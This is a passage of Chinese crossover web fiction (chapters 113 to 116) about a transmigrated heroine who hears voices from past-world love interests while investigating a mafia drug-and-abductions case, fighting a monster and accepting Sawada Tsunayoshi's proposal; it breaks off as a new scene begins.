【凤[哔哔] :无聊的疑问我就不回答了。我能问一下你说的任务是什么吗? 】
我托着手机的手指一僵。
第113章
我捂着脸倒在床上,胳膊挡住脸上的表情。
好像被奇怪的系统bug缠上了。
但如果他们真的是跨越了世界壁垒寻觅过来的呢?
我噼里啪啦写投诉信的手指顿了一下,如果真的是那样,顿在半空中的手按上胸口,万一是狗系统出了问题,让本不该想起来的人独自拥有了记忆,辛苦追寻过来本来就是一个奇迹。
在这样的辛苦和期待过后,等待的是另一半的否定与驱逐……我表情有点痛苦,良心隐隐作痛,如果真的是那样的话我成什么人了啊! !
——简直是玩弄感情的渣滓。
我面色惨淡的想。
更何况还要在三人的注视下和沢田先生结婚,我打了寒颤。
眼神落在系统面板角落的强制退出上。
不管是真是假,擅自升级成地狱级难度得的任务不做也罢!
逃避的念头轻而易举的占领高地,我坚定的按了下去。
下一秒我手心一沉,握住了一把寒光凛凛的短刀, 沉吟三秒。
“真的假的?”
我食指戳了戳刀刃,一丝刺痛传来:“嘶!”
同时脑中还有一道急促的声音。
【日向[哔哔] :小心! 】
好痛。
我愤愤的把短刀扔了出去,舔了舔渗血的食指,疼痛紧急唤回了理智,将强制退出的念头压了下去。
难道我已经被系统调教成它的形状了吗?
不然为什么竟然对强制退出是一把削铁如泥的短刀这件事丝毫不惊讶。
脑海里忽然冒出坐办公室的络腮胡上司板着脸顶着系统的权利光辉,将鞭子甩得啪啪作响,他脚下匍匐着一群列着队的员工。
这队列横看竖看都像一个巨大的M 。
我寒着脸从床上一咕噜跳起来,一脚踩上地上的短刀,这绝对是狗系统的阴谋!
凤[哔哔]有点头疼,避开吵闹的环和双子,修长的身形独自走出房间,靠在鸢尾花田前压抑着胸口失而复得的欣喜,尽量用平静的语气。
“抱歉,如果不能说也不用告诉我,能够再这样看着你就已经很开心了。”
他已经从那两人以及小一的只言片语当中拼凑出一些信息,不过还要再看看。
我听到他的话隐隐松了口气,乖巧的点头,眼神盯着墙角的花瓶,放弃纠结是不是认错人这件事。
“就是这样哈哈,任务不好随便透露的呀。”
我扣了扣手指,似乎听到凤那边轻飘飘笑了一声,随即传来他清冷的声线:“那就早点休息,晚安。”
我们互道了晚安,从刚才开始就一直保持沉默的五条再次出现。
他好像很忙的样子。
五条声音里带着喘息:“蹭频道的你别太过分,这是我老婆!谁准你跟她说晚安的!?”
我:“……”
这次我明确的听到了一声嘲讽的冷笑。
效果极佳。
我听着五条的声音,幻视一只对着冷静黑猫炸毛哈气的大白猫,两人冷嘲热讽简直不相上下。
我按了按耳朵,一道刻意压低的声音出现。
日向的声音是带着满格能量的成熟健气,偷偷摸摸和我说话的时候压抑着没藏好的失落:“不能和小一说晚安吗?”
我眼神犀利起来,试图分析,分析失败。
“……可以。”
他的声音立即活跃起来:“明天还有训练赛,我要睡了,晚安小一,明天见。”
我沉默,可恶,这种路遇可爱大眼小狗的既视感!
“晚……晚安。”
五条的声音阴恻恻的插了进来:“你们背着我聊什么呢?”
没等我回答,他又啧了一声。
“时间不够了,极限就是两个小时吗?”
他的声音逐渐远离,似乎真的有什么东西在离我而去,我手指在空气中虚虚抓握。
没来由的有些失落。
“今天就只能到这里了,明天见,赶紧去睡觉。”
说完这句话后,我脑海中多出的声音彻底消失。
我才终于有空来思考这件事。
如果我真的那么幸运,已经成功完成三个世界的任务,按照论坛里的信息来说,脱离后系统会抹消任务者的存在。
他们到底是怎么想起我,又是怎么找到这里的。
我轻而易举的锁定了罪魁祸首——五条砂糖君。
就连系统似乎也拿他没办法。
我苦恼的躺在床上完全不知道该用什么态度对他们,我双腿搭在被子上,团成长条在床上发泄般滚来滚去。
明明是为了一年带薪休假来的,结果居然还会遇到场面,完成超纲了啊——
·
结果想着想着就睡着了。
只得出一个顺其自然的摆烂方法……
我披散着头发穿过会议室的大门在自己的位置上坐下,一份冒着热气的早餐被人推了过来,我动了动鼻子闻到熟悉的牛奶味,努力睁开眼睛看向右边。
沢田纲吉穿着格外正式的西装,外面披着一件立领披风,领口的金属链条随着他歪头的动作晃动。
“早啊。”
我眨了眨被闪到的眼睛,喃喃道:“好帅。”
会议室某处传来猝不及防的咳嗽。
沢田纲吉表情顿了一下,捂唇轻咳一声:“谢谢?今天要外出办事,追查药物的事情待会儿就要交给你了。”
我飞速啃完三明治,把甜丝丝的牛奶一口闷,舔了舔唇:“查尔斯已经来了,追查倒是没问题,但是我有个小小的请求。”
“啧,十代目好心给你安排了帮手,你这女人居然得寸进尺!”
我歪头越过沢田先生看到一个银发男人,想了想,朝他挑衅地勾了勾唇。
沢田纲吉看了他一眼,又递过来一张手帕:“有什么想要的吗?我今天要去XX街区。”
我不好意思的笑了一下:“不是那个,沢田先生的披风好帅气,能不能也给我……”
来一件。
还没说完,我肩头就一沉,带着他体温的帅气披风就已经落在我身上,那双修长的手伸过来帮我系好领口。
我睁大眼睛看着他棕色的睫毛。
他系好后就和我拉开了距离:“今天穿露肩的裙子是有点冷,这样就好了。”
“晚点再按照你身形做两件好了。”
原来是这样啊。
我摸了摸胸前晃荡的链条,喜滋滋地听着查尔斯带来的消息,然后表情逐渐垮了下去。
“……只是稍微添加了这个几个配方和剂量,收缴的索林药剂就多出了一些麻醉和成瘾性,同时还具有快速恢复的特性,在黑市很受欢迎。”
“以及,根据调查显示,这几个月黑市的孤儿乞丐和罪犯莫名消失的数量大量增加。”
我托着一侧脸颊,点了点桌上的资料:“太巧了。”
“今天是那几家货船出港的日子?”
得到肯定回复后,我按着桌子起身:“那我们也去凑凑热闹。”
第114章
出发的路上,我镇定地和再次出现的三人打了个招呼,不着痕迹捂着嗡嗡作响的脑袋,点缀着晨光的面容异常宁静。
我把半张脸都埋进披风束起的衣领当中,双目无神的打了个哈欠。
好吵。
比起总是在别人脑袋里吵来吵去的几人, 果然还是一年带薪休假比较让人期待。
在几人交织的声线当中,我接过下属递来的饮料,叼着吸管看着外面的景色逐渐放空,屏蔽掉多余的声音。
行驶在通往港口唯一公路上的黑色车辆很显眼。
“大小姐, 还要继续往前开吗?再往前就要被发现了。”
我敲了敲脑袋,低声:“暂时安静一会儿,我要干活儿了。”
司机回头有些紧张的说:“什么?”
一辆厢式货车忽然从他们身旁穿行,我眼神跟着那辆车一起移动,直到它彻底被集装箱挡住才收回视线。
按照计划这次的探查计划全部由我来把控, 最安全的方式就是在不引人注意的状况下潜入,收集到证据后一网打尽。
车辆在缓缓减速。
五条悟杵着下巴盘腿坐在庭院里,单手翻动膝盖上的书籍,忽然说:“你的人太少了,我不在你身边,这样做很危险。”
凤镜夜一晚上都没睡, 昨天出现的画面再次出现的时候, 他才松了口气, 眼神恋恋不舍的落在那张熟悉的脸上。
闻言生出不太好的预感。
他狭长的凤眸微怔,放松的神色再次沉了下来,声音发紧:“你要做什么?”
我撑在唇边的手指动了动,贴着唇边做了个噤声的手势。
手里捏着彭格列那边传来的照片觑着眼睛和前方的港口对比着观察了片刻,神色一点点转冷,将我的猜测发给的沢田纲吉后冷静的说:“继续开,冲过去。”
“是!”
做出禁止通行的手势的□□成员手里的荧光棒在陌生车辆加速的瞬间换成枪,脑海中紧绷的声线与家族成员慎重的提醒重合在一起。
凤:“小心!”
日向:“小心!”
五条:“哇哦。”
“坐稳了!大小姐!”
外表其貌不扬的车辆扛着雨点般的子弹穿过哨卡,冲进刚才厢式货车进入的仓库。
我打开车门跳了下去。
一瞬间仓库里浓重的腥气直冲鼻腔,我捏着鼻子环视一圈,视线落在孤零零的货车上。
低跟踏在脏得分不清颜色的地板上,在车厢后站定。
“把门弄开。”
十分钟后,除了留在门口警戒的成员,所有看到车厢内部的人都变了表情。
“呕!”
金属车厢内壁同样已经脏得分不清颜色,在层层叠叠的暗色污垢中,盘踞着一团巨大的阴影。
我不自觉握住剑柄,沉声让他们退后。
目光一寸不移的盯着那团张牙舞爪又仿佛融成一团的阴影,心跳沉重的跳动,每一下都在提醒我,有什么东西在靠近。
从刚才开始外面就过于安静了。
空气中渗出可怕的寒意。
似乎从刚才开始他们就踏入了另一个空间。
我面色冷静的一点点后退,直到后背撞上冰冷的墙壁,视线落在身前空无一物的空气中:“你们先撤出去。”
“咯咯。”
身后隐隐传来牙齿磕碰的声音。
“大……大小姐,我们出不去了……”
“门!门不见了!”
“这到底是怎么回事?幻术吗?”
我知道死气之眼炎的属性之分,也在彭格列基地当中见过大部分守护者战斗时的模样,除了那位雾之守护者。
听说雾属性最擅长幻术……难道他们真的遇上了那样的敌人吗?
我回头扫过脸色惨淡的众人以及门的位置。
那地方已经被仓库肮脏的墙体取代,将这座仓库变成充满恶心气味的牢笼,我定定的注视着墙体。
一直到瞳孔开始刺痛,比往常更加浅淡的线条才闪烁着出现。
我紧绷的脊背放松了点,身前带着压迫感的空气近乎凝滞,我当机立断带着人奔向出口,那里是线条最凝实的地方。
我能感觉到有视线落在我身上,带着恶意与戏弄。
似乎笃定我们已经是瓮中之鳖。
急促奔跑的脚步声在封闭的空间内回荡,我抿唇将刺痛的眼睛睁到最大,从没觉得这座仓库有这么大!
“我们刚才有走到这么深吗?!”
有人的声音里带着崩溃的哭腔。
他看着不断回头督促他们继续前进的黑川一,恐惧让他的体力加速流失,哽咽的说:“我,我跑不动了,这里也根本没有出口。”
“我……我的身后好像有东西……”
我的身体即便有这段时间的锻炼体力到现在也差不多耗尽,干脆停下脚步,伸手粗暴的将刚才说话的青年扯到我身后。
我气息不稳的说:“我们大概跑了多远?”
立即有人回到:“差不多快要两公里。”
两公里……
我的视线再次落在众人身前空旷的位置,片刻后闭上了眼睛,力竭而急促起伏的胸膛逐渐平息。
就算在幻术当中,这些家族成员日复一日锻炼的身体也是不会变的。
我们跑了两公里,看起来却在原地踏步。
“看来背后的人不想让我们离开这里。”
为什么?
我忽然顿住。
“你们的秘密武器作用范围有限吧。”
“什么?”
被我挡在身后的几人睁大眼睛,很快反应过来:“他们是故意放下诱饵引我们过来的!”
我重新睁开眼睛,手中的剑指向侧前方,在我执着的凝视下那东西庞大而扭曲的轮廓逐渐勾勒清晰。
似乎在那怪物的影子勾勒清晰的瞬间,我似乎看到了色彩缤纷的天幕,在那厚重又不可触摸、坚韧又脆弱的绚丽石壁上,缓缓爬上一丝丝裂痕。
我眨了眨眼,那片色彩幻觉一般消失了。
只留下一只长相格外随心所欲的庞大怪物。
它是一团涌动的灰褐色粘液,包裹着无数惨白的肢体,无数双手脚滴答着粘液从软乎的身体里探出。
如感知器官一样在空中柔软的舞动。
闪烁着红色光点的监视器被粘稠的液体裹挟着飘荡在怪物的头顶。
我注视着闪烁的红点,面无表情的动了动唇。
找到你了。
五条:“嗯?二级?”
日向:“有什么东西在那里!?”
凤:“……那里有什么?”
监视器后的男人陡然对上黑发少女猩红的双眼,胸口不受控制的鼓动片刻,咽了咽口水,蹭的站起来焦灼的在狭窄的房间里来回走动。
“不可能不可能不可能,那种东西不可能会被发现的!”
几秒后猛然站定。
他扯了扯头发,扔掉手中带着头皮的大把头发,神经质的打了个电话:“我……我们被看见了,现在……撤离……”
“撤离——”
对面安静了一会儿,轻微的磕碰后,在隐约的惨叫当中,平静到几近冷漠的声音穿过话筒。
“威尔先生,日安。”
我克服心理障碍咬牙朝那东西冲了过去,手中燃起透明火焰的剑刃与地面磕碰出细微的火花。
刺痛逐渐加重,视野变得模糊的眼睛执拗的注视着它头顶的线。
好痛。
我在抓来的惨白手臂之前重重蹬地跃起,剑刃挥出一道利芒,随后踉跄的落在地上。
被赶来的部下扶着离开那东西发狂般胡乱挥舞的肢体。
我拽着披风一角擦了擦眼睛,听着怪物仍然活蹦乱跳的声音,心里一沉。
被躲过去了吗?
“大小姐那到底是什么?它……它要过来了!”
扶着我的男人厉声呵斥:“闭嘴乔治!”
“把你们的枪都拿起来,拼死也要保护大小姐!”
我揉着眼睛避开他的手,在他们看过来的时候缓缓扭头:“先不要冲动,沢田先生那边已经在过来的路上了,在那之前你们要保护好自己。”
乔治瞪大眼睛,强行将目光从突然出现的可怕怪物上移开。
他们再次将目光落在披着过大披风的少女身上,齐齐低头,单手抚胸:“是!”
我松了口气,脑海中的五条声音难得正经。
“眼睛怎么了?啧,以你的能力这种东西……”
我打断他:“能帮我个忙吗?”
他嘟囔的声音被打断,周围似乎还有些嘈杂的声响:“啊,我又不会拒绝你。我要过来的话可能要花点时间。”
过来?
我眉头一跳:“不是这个。”
我循着气流面向那只怪物:“只有你能看见吧,请暂时成为我的眼睛,拜托了。”
脑海里安静了一会儿。
他笑了一声:“哈,失忆了还这么会使唤人,这可是你先说的。”
腥臭的风迎面扑来,柔软而恶心的触感几乎触及脸颊,我睁着几乎看不见的眼睛,扑到地上翻滚着躲过一击。
五条张扬的声音带着一丝蛊惑在我耳边响起:“那就呼唤我的名字。”
我从地上爬起来,带着那笨拙的东西朝反方向跑:“开枪!”
密集的枪声让怪物咕噜咕噜的痛呼,却让人执着的跟在我身后。
我面无表情的跑出个人耐力纪录,心里狠戳五条小人,这家伙的意图也太明显了吧! ?
我磨了磨牙,张口:“五条¥#”
名字的部分含糊不清。
五条:“纳尼——我听不见?”
我握紧拳头,深吸一口气,抿唇不语,脚下一转,再次朝风声浮动的地方挥剑:“去死吧你!”
裹挟着愤怒的剑刃切开怪物粘液般的身躯,形成巨大的伤口。
片刻后那伤口又在怪物的哀鸣中缓缓愈合。
我捂着被怪物抓过的手,狼狈的喘息:“你知道这是什么五条,不用你做什么,请告诉我它的弱点。”
混蛋!
……笑死,她怎么可能和这种人在一起?
一定是哪里搞错了。
五条悟站在一间贴满符咒的房间,无数与寻人、空间、瞬移有关的咒具以一种奇怪的方式连接在一起。
它们颤颤巍巍的启动亮起代表着咒力的蓝芒,却又很快不明原因的熄灭。
啧。
又要更换了吗?
五条悟转身离开房间,轻描淡写的让人换下这批价值数十亿的咒具:“再让人弄点等级高的来。”
闻风赶来的长老们心疼得又苍老了几分。
他瞬间出现在寂静的庭院中,重新坐在连廊下,背后是微微敞开的帐子门,露出另一个人生活过的痕迹。
无人问津的橘子汽水瓶折射着橙红的光。
他看着脑海中另一人世界的景象,不用看她的表情都知道那人已经生气了,八成在心里骂人。
他宽大的手掌扶着额头,声音有些微的沙哑,指尖在空气中轻抚过那人的眉眼。
“真拿你没办法。”
“这么弱,连我的名字都想不起来,那就只好勉为其难……”
轰——
被封闭在咒灵领域之内的仓库发出一声巨响,令人无法逃脱的简易领域居然真的就这样轰然碎裂。
金橙色的影子一闪而过。
刚才还在他视线内,可怜兮兮只能求助他一人的少女,被人小心翼翼的抱在怀中。
五条悟脸上连自己都未察觉的柔软笑意一寸寸凝固。
从发生变故开始就一直尽力保持安静的凤镜夜冷笑一声:“真没用,你是小学生吗?”
日向翔阳表情罕见的有些黑,短暂的同他站在统一战线:“太逊了,五条君。”
第115章
我视线中还残存着怪物越发靠近的灰褐色粘液。
从肮脏身躯中央陡然分裂开来的深黑带着腥臭的气息几乎将我淹没。
早已力竭的身体凝固在原地,胸腔中的心跳沉重的几乎将我压倒在地,濒临死亡的木然和体内某种陡然涌出的奇异力量将身体矛盾的充盈。
以至于当身体被人拢入怀中的时候还有些回不过神。
耀眼的金红色闪过。
沢田先生的声音难得有些冷:“这里就交给你们,以彭格列的名义暂时先控制住这里。”
“是!”
我垂在半空的手动了动,茫然褪去之后, 无力的身体触底反弹一般重新涌出了些许力气。
我扯了扯他的袖子。
面色一片冷然的沢田纲吉说话的声音一顿,低头看了过来,倒映着火光的棕眸平静的注视着我。
动作却十分轻柔,他轻轻侧头贴近了少许:“已经没事了, 刚才你做的很好。”
在出乎意料的称赞中,我的唇角不由自主的向下撇:“我只知道我搞砸了。”
我朝仓库角落的厢式货车指了指。
“那里面应该是最近的失踪人员的……一部分,给人的感觉很奇怪,最好不要让人贸然接触。”
他认真听完了我的话,没有先回答, 反而用一只手盖住我的眼睛。
“好,我知道了, 休息吧。”
我虚虚的抓住他的手腕,还想说什么,尽量再帮上点忙,在黑种蛰伏的倦意不受控制的涌了上来。
·
醒来的时候正是傍晚。
“哟, 睡美人终于醒了?”
我起床穿鞋的动作一顿, 默默翻了个白眼, 一言不发的走进浴室洗漱,镜子里倒映出我惺忪的面容。
刷牙的动作慢了下来。
奇怪,好像有什么地方怪怪的。
我和镜子里的自己对峙了几秒,门外传来轻柔的呼唤:“大小姐?您醒了么?沢田先生让我带您去实验室。”
我移开目光,朝外面应了一声。
脑海中陆陆续续响起另外两道声音。
“早上好。”
“昨天晚上休息的不错?”
我擦了擦脸,对着镜子里的自己说:“我要换衣服了。”
日向和凤道别后离开了。
只有从刚才开始就被忽视的五条还在嘟嘟囔囔:“莫西莫西?hello?听得到我的声音吗?信号不好?”
“再不理我五条大人就要死掉了。”
我找出今天要穿的衣服, 毫不客气的说:“快滚,别死我这儿了混蛋。”
无聊到倒在地板上玩手指的白发男人一骨碌坐了起来,惊喜的说:“小一!”
我抱着手臂面无表情:“你想说什么?我还在生气,识相的话最近都不要烦我。”
听到他的声音就手痒。
“诶?不要嘛~”
明明是属于成年男人的声线撒娇起来竟然也毫不违和。
“如果那家伙没来的话,我也不会让你受伤的,真是的……我就是想听你叫我的名字而已。”
他张扬的声线放低,带着些湿漉漉的尾音:“我只是真的很想你。”
我哑然一瞬。
然后加重声音:“给你三秒钟下线,不然你就一直想着吧的。”
终于清静了。
我还是第一次来彭格列的实验室,充满科技感的大门向两边打开后,映入眼帘的是……一张巨大而狰狞的脸。
期待的心情骤降。
我后退了一步,仰头将被困在一个巨大柱体中的怪物收入眼中,惊愕:“这种东西也能运回来吗?”
昨天交手的时候,这怪物好像不受一般物体的禁锢。
侧边的墙体打开,强尼二走了出来,看向那只怪物的眼神格外灼热:“当然了,这种能量体我们还是第一次碰到,神奇!简直太神奇了!”
“为了不被其他家族捷足先登,我连夜带人把它运回来了。”
他推了推脸上的眼镜,如有实质的目光落在我身上:“请跟我来,黑川小姐。”
我在他脸上款式奇特的眼镜上停留片刻,跟了上去。
越过被关押的怪物进入实验室的另一边,我才发现这里比我想象中还要大。
彭格列的守护者们以及查尔斯都在这里。
我浅笑着和他们打了个招呼。
沢田纲吉手上燃着火焰,特殊的管道连接着他的手臂,一直通向困住怪物的柱体。
原来如此。
我了然,死气之炎确实能对那东西造成伤害。
管道上的能量达到定格发出滴滴的提示音。
沢田纲吉收回手在一群人的视线中向我走来,我舒展的站姿不自觉有些紧绷,都……都看过来了?
他自然而然的用手背贴了贴我的额头,表情微松:“看来昨晚休息的不错?”
我对上他含笑的眼神不自觉点点头。
不过这是今天第几个这样说的人来着?
探查过我的状态后,他似乎放松下来,轻轻搭着我的肩膀将我带到最前方的屏幕前。
屏幕上播放的是昨天仓库中我和那只怪物战斗的录像。
我看着自己带着人在其中狼狈的躲避回击,更因为强行在那只怪物身上使用能力而短暂的失去视野,直到仓库中的空间被沢田纲吉从外面暴力破开才终于停下,视线有些恍惚。
“这是战斗复盘?也不用这么多人都来观察吧……”
我轻咳一声,刚想说些什么缓解尴尬,忽然察觉到什么,手指迅速按向轻松得不得了的眼球。
视野内的一切都格外清晰。
我扭头看向被禁锢的怪物,在我的注视下,代表着终结的线条缓慢又清晰的出现。
我瞪得眼角都酸了才眨了眨眼睛。
如果是现在的状态,昨天绝对不会这么狼狈。
强尼二轻咳一声开口:“想必你已经发现了,你身上出现了和那只怪物相似的未知能量。”
“这意味着在目前只有死气之炎力量体系的基础上又多出了一种全然陌生的力量体系。”
他的声音逐渐热切:“而崭新的力量体系一定会带来新的危机和利益!”
“身为一流的Mafia家族,我们这次绝对也走在所有人之前。”
我被他注视着,沉思片刻,试探性的鼓掌:“哇,好厉害?”
“请继续加油?”
强尼二仍然期待的看着我。
我承受不住这么热情的眼神后退一步,肩膀忽然撞上一片胸膛,我惊了一下又立即直起身想要拉开距离。
诶?
我看向左肩,骨节宽大粗糙的手搭在上面,力道很轻却又轻而易举的将我定在原地。
花纹繁复的戒指箍在修长的中指末端,无端添上几分性感。
他的声音有些无奈:“你吓到她了。”
“而且目前关于另一个力量体系的事只是猜想而已,慢慢来吧。”
科学狂人眼神不甘的后退。
屏幕上的监控画面变成密密麻麻的资料,将彭格列这样一个庞然巨物的构成分解成巨大的树状图,清晰的展现在众人面前。
十分钟后,将所有干部重新认识了个遍的我双目无神,原来是给我上课来了吗? !
好不容易结束课程,我带着被塞满知识的脑袋,清心寡欲的转身离开。
身后跟上了轻巧的脚步声。
“啧,他怎么总是跟着你,肯定不怀好意!”
重新上线的五条挑剔道。
我同样在心里啧了一声:“不要随随便便总是出现在别人脑袋里啊!我看你才更危险吧?”
“沢田先生才不是坏人。”
另一道冷静的声音插了进来:“今天花圃里的鸢尾开了,可惜不能和你一起看。”
我放慢脚步等着身后的人跟上来,一边在脑海里聊天。
“凤君?”
我特意将视线调转,透过基地的窗户落在外面枝叶繁茂的绿植上:“真是可惜,那我请你看铃兰。”
直到彻底走过这片花田,我才收回视线:“怎么样?还不赖吧”
过了一会儿,凤格外轻缓的声音传来:“嗯,很漂亮。”
靠在皮质沙发里的黑发男人撑着脸,总是冰冷的黑眸漫无目的垂落,薄唇勾起,似乎是想起什么高兴的事情,引来数道蠢蠢欲动的视线。
却根本无人踏入他周围的真空地带。
谁都知道,凤家的现任家主,有一个从未出现在人前的爱人,从来没有接受过任何邀请。
当然也有人在私下传言,他那位妻子已经离去,凤镜夜要为那人守寡。
“……真的假的?!不可能的吧?”
“这可是常陆院兄弟那边传出来的,怎么可能有假,我看我们还是不要凑上去了。”
“你这么喜欢,每次都来看,为什么不去试试?”
她用欣赏又遗憾的眼神多看了角落的男人一会儿。
“专情阴郁与偶然的脆弱才是他最吸引人的地方,如果真的被什么人得手,即使那个人是我,也会有些失望吧。”
凤镜夜用久违的耐心不断引导着黑发少女和自己说话,时不时在言语中不着痕迹的示弱,引得心软的少女绞尽脑汁接上话题。
然后在时间差不多的时候温柔又遗憾的道别。
“和你在一起的时间过的真快,明天见,小一。”
我恍然察觉好不容易和沢田先生独处的时间,我竟然一直在和凤君聊天!
我紧张的看向身旁,膝盖上放着一本书的棕发男人看了过来,那双似乎能看透一切的眼睛落在我身上。
他若有所思的说:“和我在一起是不是有点无聊?”
我立即摇摇头,有些愧疚地说:“不,不是,因为在沢田先生身边,反而有点放松过头了,抱歉。”
他微笑的表情顿了一瞬,手指在反应过来之前已经落在少女的发顶,他随着心意顺了顺,转移话题:“过几天就是我们的订婚仪式,玛莲娜亲自和我确认了时间。”
“但我想起来我们还有一件事没做。”
我不自觉朝他的方向倾斜:“什么?”
他将几乎投入怀中的身体扶正,没有回答,反而说:“明天空出一天和我一起出门吧?”
第116章
“我觉得逛街这种事情和一个老男人一起有点煞风景。”
有人在脑海中阴沉沉的说。
我举着冰激凌的一顿,随后当做什么都没听见一样伸出舌头舔了舔最上面的薄荷冰激凌球,被清凉的感觉迅速驱散心底的那点烦躁。
走在身边的棕发男人少见的没有穿正装,我装作若无其事的看向路边锃亮的橱窗,那上面倒映出穿着休闲衬衫和牛仔裤的修长身影,与此同时那双平和的棕色眼瞳透过鼻梁上的银边眼镜与我对视。
“累了吗?法国菜怎么样?”
他的声音立即从身旁传来。
我还没想好怎么解释为什么在偷偷摸摸观察他的倒影,他就已经带着我走进了一家小店。
门口的招牌用可爱的字体写着他们今天的主推。
我被揽着走了进去,目光第三次装作毫不在意的落在肩膀上,虽然不是第一次这样接触,但从那里传递过来的温度还是让我有点不自在。
——明明以前沢田先生都维持着一定的距离。
我知道这大概是属于意大利男人的绅士风度?
虽然沢田先生是霓虹人。
总之我直到坐在双人卡座里和平时不一样的沢田先生呼吸着狭小空间中同一片空气的时候,才意识到这是一场约会。
他推了推脸上用作伪装的镜框,据说这是出发之前狱寺先生帮忙提供的,为了让有名的彭格列十代目能够像普通人一样减少些不必要的麻烦。
“这是我偶然发现的餐厅,味道非常不错, 你一定会喜欢这里的餐后甜点。”
我对上他询问的眼神,即便手里还拿着吃了一半的冰激凌还是不由自主的点点头:“我就要那个。”
我没怎么吃过法餐,只能随着他的意见点头或者摇头。
这样的对话维持两遍之后, 他忽然看了我一眼。
“抱歉,是我的疏忽, 你不喜欢法餐吗?”
他眼里的歉意真实的流淌出来:“是我的错。”
“不是。”
我被他的表情戳中,连忙拉住他的手,阻止他懊恼的想要带我离开的动作,解释道:“我只是对法餐没什么了解,但是沢田先生推荐的我都想尝尝看。”
他露出轻松了点的表情。
被扣住的手反过来轻轻握住我的指尖, 又很快收了回去。
我放在桌上的手蜷缩起来, 轻咳一声。
也许是沢田先生是这里的常客的原因,菜上的很快,我试探性尝了一口之后眼睛一亮。
“果然很好吃!能找到这样的店沢田先生也太厉害了吧!”
坐在对面的男人弯了弯眉眼, 一派成年人的成熟稳重,只是手指又不自觉转了转指环。
手边忽然碰上带着水珠的玻璃杯。
我鼓着脸颊抬头。
那只手放下水杯没有离开,反而凑过来,在我的注视下将我颊边的发丝揽到耳后。
“可以吃慢点,我们还有一整天时间。”
我承认自己似乎有点难以抵抗沢田先生这种温柔成熟的类型,咀嚼的动作都顿了一下,随后匆匆应了一声以后低下脑袋。
系统保佑我的脸没红。
沢田纲吉撑着下巴大部分时间都在看着她吃饭,偶尔视线会漫无目的越过她的肩膀落在小店的后厨。
厨师是一个面容严肃的金发大汉,大部分时间都在兢兢业业的做菜,只有偶尔抬眼时,瞳孔中似乎闪过什么。
沢田纲吉起身:“好像看到一个认识的人,等会我一下,我很快回来。”
“嗯嗯。”
他离开后,我吃饭的动作慢了下来,瞄了一眼沢田先生撩起帘子进入后厨后消失的身影,握着叉子的手逐渐用力直到手背的青筋暴起。
我郁闷的又塞了一口提拉米苏:“他走了,现在能安静点了吗?”
“嘁。”
“约会中途放着约会对象不管去见什么认识的人,绝对有问题,不会是去见情人了吧?”
五条悟从察觉那个男人的意图之后就一直垮着脸:“那家伙有什么好的,等你记起来,我绝对比那家伙有魅力!”
好自恋。
我维持着死鱼眼,把一整块餐后甜点解决完后,意犹未尽的舔了舔唇,抽空回答:“嗯嗯嗯,你说的都对。”
对面安静一下,忽然传来五条炸毛的声音。
“你这家伙敷衍我!你变了!”
我:“……”
有种我是负心汉的既视感。
我冷酷无情:“我一直都是这样,顺便一提,我不觉得总和是在别人脑袋里咋咋呼呼的家伙之间能有什么有营养的对话。” ”……小一?”
沢田先生带着担忧的脸出现在我面前,他极其自然的和我碰了碰额头:“你还好么?”
我回过神无视试图证明自己涵养丰富魅力惊人的五条,重新将注意力落在他脸上,摇摇头:“我很好,接下来我们要去哪?”
鉴于沢田先生似乎对今天的行程有缜密的安排,我绝对尊重他的劳动成果。
“找到了,小一。”
脑海中忽然传来五条砂糖君兴奋的声音,紧接着就消失不见了。
找到什么了?
我抿唇回过神,发现沢田先生似乎在看我的眼睛,眼神格外专注。
·
我站在迪里洛河边,被冷风吹得起了一身鸡皮疙瘩。
沢田纲吉站在我面前移动身体挡住大部分冷风。
说实话这里的风景确实不错,除了风有点大之外。
我不着痕迹吸了吸鼻子,尽量不让自己差点流出鼻涕的囧样出现在他面前,因此也没看到他有些紧绷的表情。
“小一。”
我的视线漫无目的的在半空中凝滞片刻,因为脑海与身后的呼唤有一瞬间的重叠,有些不确定声音的来源。
直到那道声音再次响起,我才恍然转身。
最近总是来去匆匆的日向话音忽然一转:“最近进入休赛期,我的时间变多了……额,我建议不要转身。”
他的建议有些晚了。
我已经转身,并且看到了单膝跪地眉眼含笑的棕发男人,以及被他托在掌心的小巧盒子。
一枚点缀着精致粉钻的戒指镶嵌其中。
我震惊的看着眼前超出预计的场景,在开心之前首先是茫然,紧急打开系统面板查看的任务。
嗯,还是刚刚起步的状态。
这才对吧。
日向翔阳叹了口气,亲眼目睹爱人被另一个男人求婚不管是谁都会难受,但他最终也只说了句无关痛痒的话。
他的目光落在他神秘的妻子身上,那张年轻可爱的脸再一次提醒他,他们之间的阻隔夹杂着无法跨越的时间与空间。
即便在他的记忆当中,他们曾经有过很长一段时间的幸福时光。
日向翔阳因好不容易脱身能够多陪陪她而上扬的心情重新低落下去。
现在的他没有资格争取什么。
“虽然订婚仪式已经确定了时间,”沢田纲吉的额发被风吹起,完整的露出被岁月沉淀过的清俊眉眼:“但我想这一定必不可少。”
即便是出于无奈答应下来的订婚。
他仍然认真。
“我在尝试着做一个合格的教导者以及……恋人,虽然这么问似乎有点晚了……你愿意嫁给我吗?”
我迟钝的张了张口,在角色似乎颠倒的场景当中,机械的递出手。
耳边似乎传来谁的叹息。
我们沿着河边散步,在微凉的晚风中并排着向前走,他替我挡着风,温热的气息源源不断的从并排着向前的手臂处传来,似乎那一小片空间被无形的壁垒圈住,只有彼此的气息在当中流转。
我第一次觉得走在沢田纲吉身边有些不自在,手指偷偷摸摸的在掌心按着那枚戒指,有点想笑又害怕被发现。
走动间偶然擦过的手背都能让我后脑勺一阵紧绷。
我维持着镇定的表情,在心里打滚,都到这种程度了,究竟要不要牵上去。
但是沢田先生万一不想牵呢?
毕竟订婚已经成为定局,出于他认真负责的性格,提前送戒指好像也说得通。
我偷偷看向身边。
但是他是不是也在笑?
就算真的牵上去他的性格来说应该也不会拒绝吧。
也许是被挡住的晚风撩动了心弦,我摸着指根的戒指,心里躁动不安,像有一只猫在里面挠。
不管了!
我咬牙装作不经意的把手凑过去,堪堪触及一片温热,不远处随风传来一声稚嫩的尖叫。
小孩子? !
这么晚了还有小孩子在这里吗?
我看向河堤对面阴沉沉的树林,不假思索的抬脚冲了过去,才跑出几步,腰间一紧,整个人被提了起来。
“抱紧我。”
我下意识攀住他的肩膀。
沢田纲吉带着我直接越过河面,迅速锁定发出声音的位置。
我拍了拍他的肩膀,率先悄无声息的落在地上,和格外显眼的沢田纲吉拉开距离,靠近被植被遮挡河堤。
植被后传来细碎的声响。
我抿唇绕到另一边。
卢娜是住在附近的孤儿,她平时靠在附近打点零工维持生活,不过最近多了个来钱快的小生意。
